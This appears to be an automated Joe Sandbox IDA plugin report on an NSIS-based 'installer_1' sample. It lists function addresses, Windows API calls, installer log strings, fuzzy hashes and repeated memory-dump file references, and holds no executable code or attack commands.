Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(006BEF80), ref: 00402387

Strings

open, xrefs: 00401EFB, 00401F00, 00401F1A
Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-1711415406
Opcode ID: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(006BEF80), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

open, xrefs: 00402770
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

